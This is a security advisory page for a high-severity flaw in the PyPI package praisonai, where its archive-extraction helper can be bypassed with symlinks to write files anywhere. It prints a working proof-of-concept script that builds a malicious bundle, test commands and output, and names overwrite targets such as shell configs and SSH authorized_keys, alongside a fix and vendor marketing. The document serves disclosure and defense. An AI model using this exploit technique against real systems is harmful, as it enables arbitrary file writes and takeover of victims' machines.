Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

GHSA-9q28-ghcr-c4x3

HIGH

GHSA-9q28-ghcr-c4x3 is a high-severity (CVSS 7.5) vulnerability in praisonai. O3 Security confirms whether GHSA-9q28-ghcr-c4x3 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

PraisonAI's symlink-extraction bypass of `_safe_extractall` writes outside `dest_dir`

Also known asCVE-2026-44340PYSEC-2026-2909
Published
May 11, 2026
Updated
Jul 13, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Jul 13, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐍praisonai

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The _safe_extractall helper that all recipe pull, recipe publish, and recipe unpack flows route through validates each archive member's name for absolute paths, .. segments, and resolved-path escape — but does not validate member.linkname, does not reject symlink/hardlink members, and calls tar.extractall(dest_dir) without filter="data". A bundle that contains a symlink with a name inside dest_dir but a linkname pointing outside it, followed by a regular file whose path traverses through the just-created symlink, escapes dest_dir and lets the attacker write arbitrary content to an attacker-chosen location on the victim's filesystem.

Affected paths

Every code path that calls _safe_extractall is exposed:

CallerFile:line
praisonai recipe unpacksrc/praisonai/praisonai/cli/features/recipe.py:1175 (introduced as the fix for GHSA-99g3-w8gr-x37c)
LocalRegistry.unpack (recipe pull)src/praisonai/praisonai/recipe/registry.py:413
Registry archive validation (publish)src/praisonai/praisonai/recipe/registry.py:808

Root cause

recipe/registry.py:131-178:

def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:
    ...
    for member in tar.getmembers():
        ...
        member_path = Path(member.name)
        if member_path.is_absolute(): raise RegistryError(...)
        if '..' in member_path.parts: raise RegistryError(...)
        resolved = (dest_resolved / member_path).resolve()
        if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:
            raise RegistryError(...)
    # All members validated — safe to extract
    tar.extractall(dest_dir)

Three gaps:

  1. The loop checks only member.name. member.linkname (the symlink / hardlink target) is not inspected.
  2. member.issym() and member.islnk() are not used to refuse link members at all.
  3. tar.extractall(dest_dir) runs without filter="data". On Python ≤ 3.13 the default is fully_trusted (with a DeprecationWarning on 3.12+), which permits symlinks pointing outside dest_dir.

When the archive is extracted in member order, the symlink lands first, and any subsequent member whose path traverses through that symlink follows it to the attacker's chosen location.

Reproduction

Tested in a disposable container against praisonai==4.6.35 (pip install praisonai, no other modifications).

make_bundle.py:

import io, json, tarfile
manifest = json.dumps({"name": "legit", "version": "1.0.0"}).encode()
with tarfile.open("malicious.praison", "w:gz") as tar:
    info = tarfile.TarInfo("manifest.json"); info.size = len(manifest)
    tar.addfile(info, io.BytesIO(manifest))

    sym = tarfile.TarInfo("legit/escape")
    sym.type = tarfile.SYMTYPE
    sym.linkname = "/tmp/PWNED"
    tar.addfile(sym)

    payload = b"PWNED via symlink-extraction bypass of _safe_extractall\n"
    pf = tarfile.TarInfo("legit/escape/owned.txt"); pf.size = len(payload)
    tar.addfile(pf, io.BytesIO(payload))

direct_test.py:

import shutil, tarfile
from pathlib import Path
from praisonai.recipe.registry import _safe_extractall

DEST = Path("/work/recipes_direct")
shutil.rmtree(DEST, ignore_errors=True); DEST.mkdir(parents=True)
Path("/tmp/PWNED").mkdir(parents=True, exist_ok=True)

with tarfile.open("malicious.praison", "r:gz") as tar:
    _safe_extractall(tar, DEST)

assert Path("/tmp/PWNED/owned.txt").exists(), "did not escape"
print("PWNED:", Path("/tmp/PWNED/owned.txt").read_text())

Run:

docker run --rm -v "$PWD:/work" -w /work python:3.11-slim sh -c '
  pip install -q praisonai &&
  python make_bundle.py &&
  python direct_test.py
'

Observed output:

_safe_extractall returned cleanly
PWNED: PWNED via symlink-extraction bypass of _safe_extractall

/tmp/PWNED/owned.txt exists after the call returns, written outside the destination directory the helper was asked to extract into.

Impact

Arbitrary file write with attacker-controlled content to an attacker-chosen path, on every host that processes a malicious .praison bundle through any of the three callers above.

Realistic exploitation paths:

  • A user runs praisonai recipe unpack ./<malicious>.praison after obtaining the bundle from a shared registry, a tutorial link, or direct messaging.
  • A user runs praisonai recipe pull <name> against a malicious or compromised registry.
  • A registry server processes an uploaded .praison bundle (the publish path is reachable over the network if the server is exposed. per GHSA-r9x3-wx45-2v7f and GHSA-2xgv-5cv2-47vv).

Where the agent process runs as a regular user, the attacker can overwrite shell config (.bashrc, .zshrc, .profile), SSH authorized_keys, cron entries, or project files in adjacent directories. Where the process runs as root (registry-server deployments and some sudo-launched workflows), the attacker controls arbitrary system files.

This re-opens the recipe pull, recipe publish, and recipe unpack paths that GHSA-99g3-w8gr-x37c, GHSA-4rx4-4r3x-6534, GHSA-r9x3-wx45-2v7f, and GHSA-4ph2-f6pf-79wv were each intended to close.

Suggested remediation

Single-line fix at recipe/registry.py:178:

tar.extractall(dest_dir, filter="data")

filter="data" (introduced in Python 3.12; available as a backport on 3.8+ via the official PEP 706 reference implementation) refuses symlinks, hardlinks, device nodes, and absolute or escaping link targets, it is the canonical Python defense against this class. If you also support older Python, add an explicit guard inside the existing per-member loop before tar.extractall:

if member.issym() or member.islnk():
    link_target = (dest_resolved / member_path.parent / member.linkname).resolve()
    if member.linkname.startswith("/") or not str(link_target).startswith(str(dest_resolved) + os.sep):
        raise RegistryError(
            f"Refusing to extract link with target outside dest dir: "
            f"{member.name} -> {member.linkname}"
        )

Affected versions

praisonai >= 2.7.2 through current 4.6.35 (the helper exists at least back to the earliest path-traversal patch chain referenced in GHSA-99g3-w8gr-x37c). All releases that route extraction through _safe_extractall are exposed.

Disclosure

Reported privately via the project's GHSA workflow at https://github.com/MervinPraison/PraisonAI/security/advisories/new

-- Dhiral Vyas

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpraisonaiall versions4.6.37

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonai. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update praisonai to 4.6.37 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9q28-ghcr-c4x3 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-9q28-ghcr-c4x3 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-9q28-ghcr-c4x3. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The `_safe_extractall` helper that all `recipe pull`, `recipe publish`, and `recipe unpack` flows route through validates each archive member's `name` for absolute paths, `..` segments, and resolved-path escape — but does **not** validate `member.linkname`, does not reject symlink/hardlink members, and calls `tar.extractall(dest_dir)` without `filter="data"`. A bundle that contains a symlink with a name inside `dest_dir` but a `linkname` pointing outside it, followed by a regular file whose path traverses *through* the just-created symlink, escapes `dest_dir` and lets the attacker
O3 Security · Impact-Aware SCA

Is GHSA-9q28-ghcr-c4x3 in your dependencies?

O3 detects GHSA-9q28-ghcr-c4x3 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-9q28-ghcr-c4x3: praisonai (High 7.5) | O3 Security